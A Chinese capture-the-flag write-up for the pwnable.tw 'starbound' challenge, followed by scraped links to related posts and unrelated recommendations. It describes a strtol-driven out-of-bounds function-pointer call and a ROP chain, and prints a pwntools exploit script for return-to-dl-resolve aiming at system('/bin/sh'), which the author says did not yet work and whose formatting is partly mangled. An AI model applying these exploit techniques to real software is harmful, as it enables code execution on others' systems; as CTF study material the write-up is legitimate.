此题的代码量很大,看了一整天的逻辑代码,没发现什么问题...

整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数。

函数的漏洞主要在main函数中,main函数中使用了strtol函数将用户输入转换为字符串,并根据此转换结果,对子函数进行访问。

当用户输入过大或过小时,会导致越界访问的问题,其中,strtol函数的返回值可能为负数。

bss段中,用户输入的名称最开始是随机生成的,但用户可以更改。而此字段在函数指针数组上面,也就是说,用户可以通过控制名称的方式获得一次指令执行的机会

再查看一下安全保护机制

可以使用ROP的方式来利用漏洞。由于main函数中用户可以输入0x100长的字符给v5,因此,v5可作为ROP的存放位置,在name中找到一个gadget使得EIP跳转到位于栈上v5字段内即可。

由于此题没有附带libc,也没找到可以泄露地址的漏洞,因此在ROP中使用了在plt区域有的open、read、puts函数来打印flag,其中从dalao那里get的知识点是,read函数的第一个参数是一个int类型的值,

用于标识文件身份,其中0 : stdin、1:stdout、2:stderr,本题内没有打开未关闭的文件,因此read(3,&buf,0x10)完全可以读出flag。

另外,恰巧在最近接触到了return to dl-resolve的原理:http://www.freebuf.com/articles/system/149214.html

此题恰巧也符合使用该技术的先决条件,但貌似ld.so做了保护,没有成功,在网上没有找到相关的保护手段,通过调试发现ld.so以偏移量获取了程序.gnu.version的内容,进一步运算,但我构造的偏移量过大,

导致运算超出了可读写的范围,造成程序崩溃。暂未找到其他方法,此坑以后再填。

暂存未成功的return-to-dl-resolve代码:

from pwn import *
debug = 1
context(arch='i386',os='linux',endian='little')
context.log_level='debug'
elf = ELF('./starbound')
if debug:
p=process('./starbound')
file = '~/Desktop/pwn/tw/starbound/flag' else:
p=remote('chall.pwnable.tw',10202)
file = '/home/starbound/flag\0\0\0\0'
file = '/bin/sh\0' + '\0'*(len(file)-len('/bin/sh\0'))
gadget = 0x08048e48
bss_function = 0x08058150
bss_name = 0x080580D0 shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8
print '[*] shellcode len ',len(shellcode)
print '[*] ',hex(bss_name + len(shellcode) - 0x80481dc)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12)
distance3 = bss_name + len(shellcode) - 0x80484fc
print '[*] ',hex(distance3)
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x000ff207) + 'a'*8 + p32(distance3)+p32(0)+p32(0)+p32(0x12) + 'system\x00'
shellcode = file + p32(gadget) + p32(0x0805509c) + p32(0x00002807) + 'a'*8 + p32(0xe1)+p32(0)+p32(0)+p32(0x12)
p.recvuntil('> ')
p.send('')
p.recvuntil('> ')
p.send('')
p.recvuntil(': ')
p.sendline(shellcode)
p.recvuntil('> ') distance = (bss_name + len(file) - bss_function)/4
#print str(distance)
gdb.attach(p,'b *0x0804A65D')
distance2 = bss_name + len(file) + 4 - 0x80487c8
cat_flag_exp = str(distance-1) + '\0' + 'a'*4 + p32(0x8048940) + p32(distance2) + p32(0xdeadbeef) + p32(bss_name)
'''
+ p32(elf.symbols['open']) + p32(gadget) + p32(bss_name) \
+ p32(0)+ 'a'*(0x1c-8) + p32(elf.symbols['read']) + p32(gadget) + p32(3) + p32(bss_name+20) + p32(0x40) +'a'*(0x1c-12) + p32(elf.symbols['puts']) + p32(0xdeadbeef) + p32(bss_name+20)
'''
'''
$ readelf -d starbound | grep JMPREL
0x00000017 (JMPREL) 0x80487c8 gdb-peda$ x /2x 0x80487c8+0x120
0x80488e8: 0x0805509c 0x00002807 readelf -d starbound | grep SYM
0x00000006 (SYMTAB) 0x80481dc
0x0000000b (SYMENT) 16 (bytes)
0x6ffffff0 (VERSYM) 0x80486f2 $ readelf -d starbound | grep STRTAB
0x00000005 (STRTAB) 0x80484fc ''' p.sendline(cat_flag_exp)
p.interactive() #0x08048e48 : add esp, 0x1c ; ret

【pwnable.tw】 starbound的更多相关文章

  1. 【pwnable.tw】 applestore

    做到这道题的时候正赶上iPhone 8上市,撒花~(虽然不知道为啥) 程序分析: 先进到main函数,比较简单. myCart位于bss段上,是一个长度为0x10. 主要的处理函数是handler函数 ...

  2. 【pwnable.tw】 alive_note

    突然发现已经两个月没写过WP了,愧疚- -... 此题也算一道分数很高的题目,主要考察Shellcode的编写. 又是一道题目逻辑很简单的题. 首先提供了三个函数 查看,删除,添加 查看函数: 此函数 ...

  3. 【pwnable.tw】 death_note

    题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...

  4. 【pwnable.tw】 seethefile

    一开始特别懵的一道题. main函数中一共4个功能,openfile.readfile.writefile.closefile. 其中,在最后退出时有一个明显的溢出,是scanf("%s&q ...

  5. 【pwnable.kr】 asm

    一道写shellcode的题目, #include <stdio.h> #include <string.h> #include <stdlib.h> #inclu ...

  6. 【pwnable.kr】 [simple login]

    Download : http://pwnable.kr/bin/login Running at : nc pwnable.kr 9003 先看看ida里面的逻辑. 比较重要的信息时input变量再 ...

  7. 【pwnable.kr】 brainfuck

    pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...

  8. 【pwnable.kr】 unlink

    pwnable.kr 第一阶段的最后一题! 这道题目就是堆溢出的经典利用题目,不过是把堆块的分配与释放操作用C++重新写了一遍,可参考<C和C++安全编码一书>//不是广告 #includ ...

  9. 【pwnable.kr】 memcpy

    pwnable的新一题,和堆分配相关. http://pwnable.kr/bin/memcpy.c ssh memcpy@pwnable.kr -p2222 (pw:guest) 我觉得主要考察的是 ...

随机推荐

  1. 苹果应用商店AppStore审核规则指南

    http://www.zesmob.com/blog/40161.html 新应用上架苹果AppStore或重大版本更新时,往往会被拒多次,造成审核不通过的原因,主要是因为对苹果应用商店AppStor ...

  2. Ubuntu将Python3软连接到Python

    sudo ln -s /usr/bin/python3 /usr/bin/python

  3. 入门项目数字手写体识别:使用Keras完成CNN模型搭建(重要)

    摘要: 本文是通过Keras实现深度学习入门项目——数字手写体识别,整个流程介绍比较详细,适合初学者上手实践. 对于图像分类任务而言,卷积神经网络(CNN)是目前最优的网络结构,没有之一.在面部识别. ...

  4. tf.reduce_max 与 reduce 系列 API

    reduce 可以理解为 python 里的 reduce 函数: tensorflow 中有很多 reduce_ API,其用法完全相同 tf.reduce_max 以这个为例进行说明 def re ...

  5. 笔记-Python-module

    笔记-Python-module 1.      模块 关于模块: 每个模块都有自己的私有符号表,模块中所有的函数以它为全局符号表.因此,模块的作者可以在模块中使用全局变量,而不用担心与用户的全局变量 ...

  6. 8 HTML DOM 元素的查找与改变&改变CSS样式&HTML事件

    HTML DOM(Document Object Model)文档对象模型 当网页被加载时,浏览器会创建页面的文档对象模型. HTMLDOM 定义了用于HTML的一系列标准的对象.通过DOM,你可以访 ...

  7. NFS文件服务器

    NFS文件服务器 NFS介绍 应用场景 NFS安装部署 NFS共享 客户端NFS共享挂载 一.NFS介绍 NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过T ...

  8. Linux--info命令 ,help命令,man命令(帮助)

    Info和man命令一样都是帮助类文件 Info文件不仅包含信息,而且还包含连接到其他info文件的链接. 如何使用info显示希望的内容 * 如何操纵Info系统 * 如何显示Info的帮助信息. ...

  9. java记录3--抽象

    1.由来 利用抽象类是i为了更好的对类加以分类,例如各种植物有具体名字,也有“植物”这个抽象的词对所有具体植物进行归类. 2.抽象类通常用来作为一个类族的最顶层的父类(表示该类族所有事物的共性), 用 ...

  10. 时间和日期实例-<Calender计算出生日期相差几天>

    String day1="1994:10:04"; String day2="1994:10:03"; SimpleDateFormat format= new ...